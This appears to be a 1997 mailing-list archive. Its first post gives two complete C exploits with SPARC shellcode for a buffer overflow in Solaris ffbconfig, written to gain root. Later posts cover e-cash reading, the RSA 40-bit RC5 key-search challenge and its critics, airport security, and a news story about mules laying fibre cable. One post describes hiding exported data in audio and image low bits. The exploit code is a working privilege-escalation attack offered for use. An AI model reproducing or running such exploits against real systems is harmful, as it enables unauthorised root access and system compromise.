Mon Feb 10 15:58 EET 1997 Romania "Buffer Overflow" rules. I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow you to gain root access on your machine. I used an exploit written by Jeremy Elson for gethostbyname() buffer overflow hole (I modified some values to make this work). I dont now yet what in ffbconfig is wrong but Im still diging. So more detailes later. Here's the exploit for Solaris 2.X: ---------------------------------- first ------------------------------------- /* This works on Solaris 2.5 wiz /usr/sbin/ffbconfig */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------ end of "ffbcexp25.c" -------------------------------- -------------------------------- second -------------------------------------- /* This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------------ end of ffbcexp24.c ----------------------------- Cristian Schipor - Computer Science Faculty - Romania - Bucharest Email: skipo(a)math.pub.ro or skipo(a)ns.ima.ro Phone: (401) 410.60.88 PS: "special for STFP"

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Re: New X-Ray Imager
by Three Blind Mice 17 Dec '03

17 Dec '03

On Tue, 4 Feb 1997, Igor Chudov @ home wrote: > Let's remember though that perception of security applies not > only to passengers, but also to potential terrorists. If they *think* > that they would not be able to bring a bomb easily, they would be less > inclined to do so. Do you seriously believe that a terrorist who wishes to take an explosive device on board a plane fears the security of an airport? It's not possible to put such a thought into anyone but a prole; we are not proles, and they are not proles. The real effect and intent is obvious. --3bmice

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Interesting ressource
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text X-Sender: leroux(a)mail.vdl2.ca Date: Mon, 10 Feb 1997 13:05:08 -0500 To: dcsb(a)ai.mit.edu From: Philippe Le Roux <leroux(a)vdl2.ca> Subject: Interesting ressource Mime-Version: 1.0 Sender: bounce-dcsb(a)ai.mit.edu Precedence: bulk Reply-To: Philippe Le Roux <leroux(a)vdl2.ca> The IEEE published a special issue of Spectrum (http://www.spectrum.ieee.org/contents/) about digital commerce and ecash. This is the index : Electronic money: toward a virtual wallet By Tekla S. Perry Hard currency is disappearing from many everyday transactions along the road to electronic money. Future of electronic money: a regulator's perspective By Edward W. Kelley Jr. The way electronics will fit into the evolution of money--from acting as a niche player to wreaking major changes in payment systems--has yet to be determined. Credits and debits on the Internet By Marvin A. Sirbu CyberCash, First Virtual, GC Tech, NetBill--these and other systems have been developed to enable electronic transfers of payments across the Internet. 'Minting' electronic cash By David Chaum & Stefan Brands Electronic cash can offer transaction privacy to honest users, affords convenient storage and transportation, and protects against loss. Traceable e-cash By Peter S. Gemmell One method of making electronic cash transactions private for honest users but traceable by law enforcement agencies involves the use of trustees. Crime and prevention: a Treasury viewpoint By Stanley E. Morris The speed and anonymity of electronic payment systems make them attractive to those pursuing illicit activities. Locking the e-safe By Robert W. Baldwin & C. Victor Chang Existing encryption-based security mechanisms can be combined to minimize a wide range of threats to electronic commerce. In your pocket: smartcards By Carol Hovenga Fancher A wallet full of cash, credit, and identification cards may, in the future, be replaced with two or three smartcards, each containing an IC, as a recent flurry of market tests and smartcard rollouts demonstrates. Banking in cyberspace: an investment in itself By Michael C. McChesney While home banking has been around for some time, Internet banking is a new concept, and has a number of advantages. Technology takes to securities trading By Steven M. H. Wallman >From stock offerings conducted entirely over the Internet, to the automation of traditional exchanges, technology is changing the way stock markets work. Nasdaq's technology floor: its president takes stock By Alfred R. Berkeley III This screen-based stock market has been particularly sensitive to the effects of new computer and communications capabilities. The economics of e-cash By Mike Ter Maat Electronic cash can create profits for its issuers, and launch competition for today's government-controlled currency systems. Money and the Internet: a strange new relationship By Howard Anderson This visionary sees the e-money revolution as inevitable, with "e-mail for money" becoming as ubiquitous in the future as e-mail messages are already today. *PLR! ------------------------------------------------------------------------------ Philippe Le Roux Associe de V(DL)2 Inc. Membre du SCIP (Society of Competitive Intelligence Professionals) Co-Auteur d'Internet Secrets (IDG - 95) Chroniqueur a Benefice.Net -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.3i Comment: Requires PGP version 2.6 or later. mQBNAjLyVpEAAAECAKiVNKY2l2moieX3JsvrXKSvHqwF0Hq24cKh1p1VDaFEwWPs /C6fMmo47FZIpV6xC/uRBiHVfW5d26AvJz1Ww7EABRG0IVBoaWxpcHBlIExlIFJv dXggPGxlcm91eEB2ZGwyLmNhPokAVQIFEDLyVpHboC8nPVbDsQEBtwcB/An4zBwC g9e1lFsVhVgmplxfUYAv3T7D7fAdCTeD51cJjns+Yh/3MoZQa7zns0BQFtRLoInL HY4WrDBs9wSXZ70= =tEnk -----END PGP PUBLIC KEY BLOCK----- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ To unsubscribe from the dcsb list, send a letter to: Majordomo(a)ai.mit.edu In the body of the message, write: unsubscribe dcsb Or, to subscribe, write: subscribe dcsb If you have questions, write to me at Owner-DCSB(a)ai.mit.edu --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle

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Re: 40-bit RC5 crack meaningless??
by nobody＠REPLAY.COM 17 Dec '03

17 Dec '03

[Excerpts from Winn Schwartau's 2/9 "InfoWar Digest," with responses to Paul Strassmann's diatribe on the RSADS Secret-Key Challenge. Burt Kaliski, Tim May, Padgett Peterson -- among others -- toss in their two bits. Longish. [FYI: RSADS still has 12 open Challenges pending, offering cash rewards for anyone who can decrypt 56-bit DES -- or any of eleven _other_ RC5 cyphertext samples, encrypted with keys of varied lengths, ranging from 48-bit through 128-bits. Details somewhere on the RSA site: <http://www.rsa.com> ] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From: Burt Kaliski <burt(a)RSA.COM> To: "'infowar(a)infowar.com'" <infowar(a)infowar.com> Subject: Further to Goldberg's Cracking Accomplishments Date: Wed, 5 Feb 1997 13:58:53 -0800 Paul A. Strassmann <paul(a)strassmann.com> quoted a UC Berkeley press release on Ian Goldberg's successful effort to discover the unknown 40-bit key to an RC5 ciphertext offered in the RSA Data Security Secret-Key Challenge, and raised a number of justifiable concerns about whether a contest like the Challenge is an appropriate measure of the security of a 40-bit encryption algorithm in an InfoWar environment. >>As I suspected (see earlier private comment), the >>highly promoted RSA cracking contest offered >>a number of clues that ordinarly would not be >>volunteered by info-terrorists or info-criminals to >>IW Defense teams. >> >>These clues made the cracking significantly easier, >>because it made it possible to eliminate an enormous >>range of possible searches. Mr. Strassmann is a well known scholar of the InfoWar threat environment. I am not, so I cannot address those specific concerns directly -- but I would like to offer some rationale as to why the Challenge was structured as it was. The RSA Data Security Secret-Key Challenge <http://www.rsa.com/rsalabs/97challenge/>, started last week, is an open contest sponsored by RSA Laboratories that offers cash prizes for the successful recovery of encryption keys for the DES and RC5 block ciphers. Following the model of the RSA Factoring Challenge which for several years has provided an assessment of the security of the RSA public-key algorithm at various key sizes, the Secret-Key Challenge is intended to measure of the security of secret-key algorithms at various key sizes. As was the case with the Factoring Challenge, full details of the algorithms and key sizes are provided. In addition, three plaintext-ciphertext pairs (the ciphertext encrypted with the key of interest) are provided for each key to be recovered. Last week, the first of the keys in the Challenge, a 40-bit RC5 key, was recovered by Ian Goldberg, a U.C. Berkeley graduate student. His effort involved about 250 workstations and took 3.5 hours. When I called Mr. Goldberg to congratulate him in a teleconference during the RSA Data Security Conference last week, he explained that he had discovered the valid key with a search of about 350 billion keys, using a university computer network to search at a rate of 100 billion keys/hour. There are about 1 trillion 40-bit keys, for any algorithm. Mr. Goldberg's search method involved simple brute-force; that is, the known plaintext was encrypted with each key, and then compared to the available ciphertext, looking for a match. The overall effort was essentially what was expected for the 40-bit key size, and as one would expect, the recovery of a key for the other RC5 key sizes (from 48 bits to 128 bit), or for DES (56 bits), will involve much more work. With the same "brute force" method employed by Mr. Goldberg last week, one would expect a 256-fold increase in effort for each eight-bit increase in key size. Special-purpose hardware may reduce the actual time, of course, but the total number of possible keys to be tested will grow at that rate. Mr. Strassman expressed concern as to whether the successful recovery of a 40-bit key in 3.5 hours is a realistic measure of the strength of 40-bit keys in an InfoWar environment, where full details of the algorithm and plaintext blocks are not necessarily known. Again, not being acquainted with the threat environment, I cannot address his concerns directly. Nevertheless, RSA Laboratories does consider this type of contest to be appropriate as a general measure of cryptographic strength -- for RSA's products and those of any other vendor in the international crytographic community. The information provided to RSA Secret-Key Challenge contestants is no more than is common and conventional for any open contest to test the strength of a cryptographic algorithm. These conventions have evolved within the international community of cryptographers seeking, on the basis of several acknowledged principles, to develop common criteria for measuring the relative strength or security of any particular cryptographic algorithm with a given key size. Our rationale for the structure of the Challenge is reflected in the following observations: * Knowledge of the algorithm and key size (as per Kerchoffs' principle), as well as the availability of known plaintext, are standard assumptions in modern cryptanalysis. Since an opponent may obtain this information eventually, it is preferable not to rely on its secrecy when assessing cryptographic strength. * The implementation of large-scale key-search engines is simplified under the standard assumptions. This makes the contest accessible to a wider variety of contributors, than if we required contributors to know, for instance, a particular language, or language statistics, or other characteristics of the plaintext. (Perhaps another challenge where we didn't provide plaintext samples would be a worthwhile follow-up.) * In practice -- even if the plaintext is not known -- significant information about it is likely to be, such as character distributions (ASCII, English), header values (e.g., BER tag and length), or padding. The cost (in time, effort, and computing resources) of a key search with even a small amount of information of this kind is not significantly more than the cost with known plaintext. For instance, if it is known that the characters are represented in ASCII, for instance, then one can decrypt available ciphertext with each key and check that the recovered plaintext follows ASCII conventions (most significant bit of each byte 0). The chance that an incorrect key produces plaintext that passes the test is 1/2^k where k is the number of plaintext bytes recovered. This means, for example, that of 2^40 keys tried, we expect only 2^32 to pass the check for a single eight-byte block. The 2^32 keys must then be tested further against other ciphertext blocks. So instead of 2^40 encryptions -- as in the case when the plaintext is known -- a cryptanalyst would need to search within 2^40+2^32+2^24+2^16+2^8+1 (roughly) keys, to find the correct key. But this represents an increase in effort of less than 0.5 percent. RSA Laboratories appreciates the InfoWar Community's interest in the RSA Data Security Secret-Key Challenge, and Mr. Strassmann's comments in particular. We look forward to further suggestions and critiques of our efforts. -- Burt Kaliski >Chief Scientist >RSA Laboratories ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Mon, 3 Feb 1997 21:42:24 -0800 To: infowar(a)infowar.com From: "Timothy C. May" <tcmay(a)got.net> Subject: Re: Infowar Digest Volume 02: Number 04 - Crypto and Goldberg I seldom read your newsletter carefully. I did tonight, and discovered two of the items you included contain serious errors. (Of course, as a strong advocate of "infowar" I suppose I'm pleased to see your subscribers in the government misled by these errors...it makes our job a little easier in the long run.) >To: infowar(a)infowar.com >From: Patrick Galley <Patrick.Galley(a)studi.epfl.ch >Subject: New crypto attack >Date: Mon, 27 Jan 1997 07:56:39 +0000 > >Hello > >A friend of mine told me to look at the WWW site "John Douglass' >CryptoMaverick Page"). > >There I've found a paper from John Douglass which says that if RSA >products are sold worldwide it because there is a backdoor inside. He >said the same thing for DES and PGP. ..... >If this guy is right. It would be better for is security that everybody >knows the truth. > >I think it would be nice if you could look at this doc and talk about it >in infowar.com. I looked at the site and it's a mixture of conspiracy theory rantings and misinformation. As to the security of various RSA algorithms (and PGP, for example), the security of many of these algorithms lies in the publishing of the source code, with digital signatures on the released binaries to allow independent verification. If a real security hole is found in, say, PGP or Netscape, expect it to be publicized loudly and quickly. (Indeed, certain flaws have been found, and quickly publicized. The same Ian Goldberg involved in later message was one of those who isolated a flaw in the random number generator used in an earlier version of Netscape.) The web site mentioned here doesn't cut it, and this message here is just more "disinformation" (itself a part of infowar, so I guess the author is practicing his skills). >Date: Thu, 30 Jan 1997 20:10:36 -0500 >To: "Wright Larry" <Wright_Larry(a)bah.com> >From: "Paul A. Strassmann" <paul(a)strassmann.com> >Subject: Further to Goldberg's Cracking Accomplishments >Gentlemen: > >As I suspected (see earlier private comment), the >highly promoted RSA cracking contest offered >a number of clues that ordinarly would not be >volunteered by info-terrorists or info-criminals to >IW Defense teams. Paul Strassmann is simply missing the central point of cracking the 40-bit export-allowed version. It is not based on a known plaintext attack, but on exhaustive search of the 40-bit keyspace. What Goldberg and his colleagues who contributed CPU time on the "NOW" (Network of Workstations) did was to search approximately 100 billion keys per hour. As there are about a trillion keys in the 40-bit keyspace, it was a foregone conclusion they would find the key within 10 hours (modulo any screwups at their end), with about half the time being the most likely time. As it was, they found the key a tad bit early, by the luck of the draw (so to speak). RSA certainly knows how long it takes to brute force the keyspace. They just didn't know who would find the key first. (And at least one other group reported a solution within minutes of Goldberg's report.) So, Paul is simply throwing disinformation--or lack of understanding--into the air by claiming that this crack does not mean a 40-bit key is "weak." Simply put, it is. Anyone who looks at the math understands this. The keyspace is simply too small for real security. (Does the NSA use 40-bit keys? Of course not. Hmmmhhh.) As the select panel of cryptographers empaneled to study key lengths concluded, 56 bits is already too weak, 80 bits is better and should be adopted forthwith for export, and >96 bits is preferable. As an "infowarrior" of sorts myself, I can assure you that we don't give a hoot in hell what the regs say is "allowed." When any tourist on his way to Europe can carry as many CD-ROMSs and DAT tapes in his luggage as he wishes, with absolutely no "exit checks," who really cares what the "export laws" allow? (I carried 5 gigabytes of data, some of it crypto-related, to a meeting with cryptographers and crypto anarchists in Monte Carlo a while back. Obviously I was not searched or even glanced at on my way out, nor on my arrival at Charles de Gaulle airport, etc. Only upon my return to San Francisco was I asked what my business had been. The Customs Officer gave me a blank look when I told him I was meeting with cryptographers in Monte Carlo (I told him the truth, knowing I was breaking no laws whatsoever). He had no idea what I was talking about, and was bored. He then asked me if I was bringing back any stuff I bought in shops over there. "No," I told him. He just waved me through.) Not to mention the ease with which stuff is shipped out over the Internet. (I made a bet a couple of years ago that each major new cipher would arrive at offshore non-U.S. sites within 3 hours of release in the U.S. Remailers make it so easy to bounce stuff around.) And of course I was the one in 1988 who first proposed the now-popular method of using the least significant bits (LSBs) of CDs and DATs filled with music, and LSBs of GIF images, to transparently export megabytes of data undetectably. (To any sniffers, the LSBs are formally and statistically identical to the ordinary noise of microphones and recording electronics.) A normal 2-hour DAT tape of a recording I made off the radio or off of one of my CDs can carry 160 megabytes of "data" riding in just the LSBs alone. That's equivalent to 16 copies of the Bible, or a significant chunk of the B-2 Stealth bomber CAD database. I'd like to see your list get involved in more accurate and less scare-mongering discussions. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 00:52:28 -0500 (EST) From: "Craig H. Rowland" <crowland(a)psionic.com> To: "Betty G. O'Hearn" <betty(a)infowar.com> Subject: RSA > Date: Thu, 30 Jan 1997 20:10:36 -0500 > To: "Wright Larry" <Wright_Larry(a)bah.com> > From: "Paul A. Strassmann" <paul(a)strassmann.com> > Subject: Further to Goldberg's Cracking Accomplishments > Gentlemen: > > As I suspected (see earlier private comment), the > highly promoted RSA cracking contest offered > a number of clues that ordinarly would not be > volunteered by info-terrorists or info-criminals to > IW Defense teams. > > These clues made the cracking significantly easier, > because it made it possible to eliminate an enormous > range of possible searches. You are talking about implementing security through obscurity. You can never assume that an enemy does not know what security precautions are in place to protect information, or in this case, what cipher you have chosen to protect your data. The security of your in-place mechanisms should be able to stand on their own merits under a worst case scenario of full public disclosure. > > The following was extracted verbatim from the > <The RSA Data Security Secret-Key Challenge> > posted on <http://www.rsa.com/rsalabs/97challenge/>: > > Clue #1: > > " ...all the RC5 contests posted as part of the RSA Secret-Key Challenge > will use > 12-round RC5 with a 32-bit word size. " > > Clue #2: > > " ...The first RC5 contest will consist of some unknown plaintext > encrypted using a 40-bit key;." > > Clue #3: (a giveway!) > > " ... For each contest, the unknown plaintext message is preceded by three > known blocks of text that contain the 24-character phrase "The > unknown message is: .....". Let me address 1, 2, and 3 all together as they all suffer from the same flaw in logic as discussed above. First, the ciphers in this contest includes more than RC5, the main point of the contest is not to illustrate the security of a particular cipher from cryptanalytic attack, but rather to show that key lengths that are too short are insecure against a brute force attack. The fact that the cipher is known does not affect the overall purpose of the contest. Second, you are again assuming the cipher is unknown by your enemy. Suppose you are a financial institution, I can be almost 100% assured that your communications are protected with DES as the cipher. If I can discover what equipment you are using and what modes the cipher runs in (CBC, ECB, etc) I can then attempt a similiar brute-force attack using the widely available DES specifications. Commercial organizations using exportable software systems suffer the same fate. You are also assuming that a mathmatical analysis of the encrypted data stream will not reveal what cipher is being used. Various statistical attacks could reveal key pieces of information that could quickly unveil what cipher you are using and what mode it is being run in. Third, just because part of a message is known does not mean the contest is invalid. Many network communication protocols use a fixed set of characters to establish and end communication sessions. An attacker, aware of how the protocols work, can often discern what a message may contain when it is initiated. An example of this could include SMTP traffic which includes a standard set of protocol keywords, or an electronic funds transfer which includes unique bank identification numbers or other similar data. This is called a known plaintext attack and is very common. > > In summary: The claim of exportable cryptography being totally > insecure, because it can be cracked in 3.5 hours is not > realistic. The three clues announced in the contest > would not apply under infowar conditions. Again, this is not correct. You are assuming total ignorance by the enemy which is rarely the case. > > What other clues may have been provided to Goldberg > to support private agendas and gain shrill headlines > is also a matter of speculation, but I rest my case. Why does one even need a "clue" about this key size? It should be obvious to anyone remotely educated/interested in the field of cryptography that the reason the NSA limits exportable key length to 40 bits or less to begin with is so they can do the same thing at Ft. Meade on their internal computers that was done here publically. The whole debate over exportable encryption rarely rests on the cipher, but rather on the *length* of the keys used. This *alone* should be enough to convince the reader that key length is in fact a very vital issue for both the NSA and the Internet community. > I certainly cannot assert that a 40 bit key cannot be decyphered. > However, I do not think that the RSA unqualified claims > offer full and appropriate disclosure. Nonsense..RSA sells cipher technology that uses both 40 bit encryption and higher, they make their money either way...their only bias in this area is that they have their exportable software crippled in such a way as to make it useless to foreign buyers. Luckily companies in Finland, Switzerland, and Germany are starting to take up the slack and provide strong cryptographic products of their own. -- Craig ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 12:49:25 -0500 (EST) To: infowar(a)infowar.com From: Bob Stratton <strat(a)wheelgroup.com> Subject: RSA's Challenge Claims and the Real World In Infowar Digest Volume 02, Number 04, Paul Strassman writes: >In summary: The claim of exportable cryptography being totally >insecure, because it can be cracked in 3.5 hours is not >realistic. The three clues announced in the contest >would not apply under infowar conditions. > >What other clues may have been provided to Goldberg >to support private agendas and gain shrill headlines >is also a matter of speculation, but I rest my case. > >I certainly cannot assert that a 40 bit key cannot be decyphered. >However, I do not think that the RSA unqualified claims >offer full and appropriate disclosure. I feel compelled to respectfully submit what may be considered a rebuttal. In general, I tend to dismiss claims of anything being "totally" anything, but in this particular instance, I think further discussion may be warranted. I admit to being a little surprised by this tack on the part of RSA. RSA Labs (the research side of that house) has earned my respect over time by doing serious cryptological work and publishing it in a thoughtful, academic manner worthy of note. The histrionics of press releases notwithstanding, I think these comments merit further examination: I may concede that the "three clues...would not apply under infowar conditions". In doing so, I must also ask for further clarification as to exactly which infowar Mr.Strassman is referring. Given this forum's consideration of the national security implications of attack on the financial infrastructure, it seems a fair question. In any event, I question whether this is relevant within the context of the challenge, and the purposes behind it. RSA's purpose in posting this challenge was presumably to enlighten the public and others as to the _relative_ strength of currently exportable cryptosystems. I have no doubt that the agenda behind this is to encourage resistance to current U.S. policies on cryptographic export, a stance designed to maximize share value in what is admittedly a commercial venture. I'm also willing to note that I have a general distaste for INFOSEC "challenges" of any sort. I would, however, like to explore the assertion that the clues posted in the challenge were not offered in the spirit of full and fair disclosure. I will concede in any case that this was not an exhaustive, controlled study. "Challenges" such as these have a place. Within the INFOSEC environment, cryptanalytic attack appears to be one of the more reasonable areas for them. Compared to "challenges" against network "firewalls", for example, cryptanalysis is an area where there is the opportunity to adequately define the goal and to measure the result. In this case, RSA was not attempting to prove a negative, as have so many (too many) other firms offering so-called "challenges". If we restrict our focus for purposes of argument to commercially available cryptographic software, the clues become significantly less onerous and mysterious. Clue #1, the disclosure of 12-round RC5 with a 32-bit word size, is certainly the most arcane of the lot. Speaking as a former commercial software developer, I would be quite surprised if vendors would not routinely disclose information of this sort. Certainly vendors using standard algorithms would tend to be more willing to do so than those using proprietary ones, which only bolsters my later arguments, as you will see below. If we may depart for just a moment to other algorithms, almost any _standard_ implementation of an algorithm which is interoperable with other implementations would, by definition, disclose or facilitate disclosure of this sort of information, by its very nature. Again, in a commercial environment, interoperability is key (no pun intended), so it's likely that implementation details are either available, or readily deducible. Clue 2, the disclosure of key size, again meets the standards just discussed. In the case of products recently exportable from the U.S., one of two things is generally true. Either the key size is actually 40 bits, or the key size is larger than 40 bits, but steps are taken to make all key information beyond 40 bits accessible to observers of the tool. Again, in a commercial environment, this is no secret. Clue 3 is perhaps where I'm most inclined to agree with Mr. Strassman. Disclosure of known plaintext, in this case the phrase "The unknown message is:" is certainly quite serious in that it may significantly aid cryptanalytic attack. My only comment here is that in the commercial arena, interoperability demands standards, and standards define consistent protocols. Those protocols will almost always result in some manner of reproducible content, most readily exemplified by message headers in electronic mail systems. While mechanisms exist for enhanced cryptographic protection of said content, in general the commercial environment has lagged behind the military, and perhaps rightly so. In none of the aforementioned cases, however, do I see information that fundamentally invalidates the significance of RSA's Challenge TO THE CIVILIAN COMMERCIAL INFOSEC COMMUNITY. That community has serious, current INFOSEC needs, and one must question (as I know many of us do every day) to what degree we're willing to lay our economic fabric open to subversion in order to lessen the cost of intelligence collection. --Bob Stratton ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date: Tue, 4 Feb 1997 9:25:21 -0500 (EST) From: "A. Padgett Peterson P.E. Information Security" <PADGETT(a)hobbes.orl.mmc.com> To: infowar(a)infowar.com Subject: RSA challenge Paul rote: >As I suspected (see earlier private comment), the >highly promoted RSA cracking contest offered >a number of clues that ordinarly would not be >volunteered by info-terrorists or info-criminals to >IW Defense teams. ... >Clue #3: (a giveway!) > " ... For each contest, the unknown plaintext message is preceded by three > known blocks of text that contain the 24-character phrase "The > unknown message is: .....". Those who follow my hobby may have noticed that about two years ago I began using the "3.5 hour" figure to assign a maximun value of $250 to any information sent via a 40 bit code. The advent of multiple parallel machines (via networks) capable of operating entirely out of L1 cache just made the technology available. However, such attacks do rely on known plain text for speed (final test is a simple XOR/alarm if zero. The same technology was used in Colossis back in 1944. It was just a touch slower. The simle answer is message compression prior to encryption which would make deciding when the message was broken much more difficult. Naysayers claim "there is always KPT" but this does not need to be true. - whole months of Enigma traffic went undecoded because there was no crib available but eventually human error gave the BP team a clue. Today, electronic systems can remove such errors from human hands. Personally believe that 56 bits is "good enough" today though it makes little sense from a programming standpoint not to use 64 *so long as a different key is used for every message and every message, no matter how trivial, is encrypted*. Or you could use a "shared secret" book code: a simple XOR with a digital satellite data stream transmitting compressed video should do nicely. All that is needed is to know which stream and when to start. I call that an "unwitting key provider". So as Paul says, the contest proves little except to confirm my 3.5 hour estimate (remember the gentleman in France who broke the 40 bit NS code last year and what his time was...) - but that was for equipment available several years ago. Today I use the figure of one gig kps (keys per second) for 1997 equipment per seive. A single one would break 40 bits in an average of under 10 min. DES would fall in a day to 400 in parallel. But the question remains: without KPT, how can you tell when the break occured ? Is a world of difference between an XOR and decompression. And if every message uses a differnt key... Warmly, Padgett ps WORD virus anti-virus macro is avaliable: http://www.netmind.com/~padgett/ under "Anti-Virus hobby". FreeWare. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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Nothing Can Stop the Net
by Duncan Frissell 17 Dec '03

17 Dec '03

Mule Power Used to Install Fiber-Optic Cable February 10, 1997 11.54 a.m. (1654 GMT) SPRINGFIELD, Mo. (AP) -- No manner of modern mechanical technology could get over or around the rugged terrain confronting electricians trying to install fiber optic cable through the Ozarks. So they shifted their sights from high-tech to low-tech and hired Festus, Jake, Red and I.B. -- four Missouri mules -- to string 40 miles of cable through southwestern Missouri. "Today's thought is `fast and done quick and make the big money,"' said mule skinner James King, who works the mules for B&L Electrical Contractors. "A lot of people have forgot the fastest way to get through the country is on a mule or a horse." Even through city traffic, the mules are getting the job done. The idea first came about when Empire District Electric Co. was looking for contractors to install fiber optic cable. The cable was to run along the path of a power line strung in 1912. More than 80 years later, it was deemed inaccessible to vehicles in most places because of steep hills, trees or other impediments, such as chain-link fences. B&L submitted a bid based on doing the work with mules. The estimate was tricky since the company had never used mules. And if they couldn't do the job, a backup plan would have cost much more. "This is extremely rugged terrain. You couldn't get any motorized vehicles in there," said Clint Lam, manager of B&L. "You could build a road through there, but cost-wise, it would be so expensive." Empire didn't know the estimate was based on mule power. But when they learned of the idea, it seemed logical, said Darrell Wilson, Empire's telecommunications foreman. He told colleagues at a recent training seminar about the mules' success. "Everybody thought I was joking," Wilson said. "They thought I meant an ATV, some mechanical 4-wheel drive. They didn't really think it was a four-legged animal. They were a little surprised when I said, `No, I mean a real mule."' The mule skinners hook one end of the cable to an overhead pole and knot the other end to a mule's saddle. Then the animal pulls. All-terrain vehicles are prone to tipping on uneven surfaces, while mules are sure-footed and can jump creeks or chain-link fences. In fact, they worked so well in the rough stuff, they were kept on even when the line reached Springfield, the state's third-largest metropolitan area. "I think we're going to try to vote in a new position in our contract for mule skinner," crew foreman John Agee joked. Dr. Melvin Bradley, of Columbia, a retired University of Missouri professor and an expert on mules, was not surprised to learn of the mules' success. "The mule will go places, over banks and rough terrain and stand up and be able to pull that cable through where horses will have trouble," he said. Festus, at 1,250 pounds the largest of the crew, drew curious glances from motorists as he and skinner King recently hauled cable through exhaust-stained snowbanks near a busy city intersection. Festus wasn't fazed, though he was a bit trailer-sick from the 30-mile commute from Galena. "This is his first day on the job," the hard-hatted King said from the saddle where he wraps the rope or cable being pulled by the mule. Festus can tow up to 14,000 feet of cable, a load weighing more than 1 ton. Some people who saw the mules at work didn't know exactly what they were, which King found remarkable. After all, mules were made Missouri's state animal in 1995. "`Look, ma -- it's a horse!"' King said, mimicking what he's heard from children passing the work crew. "It's a good old Missouri mule."

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Zero-knowledge commit
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

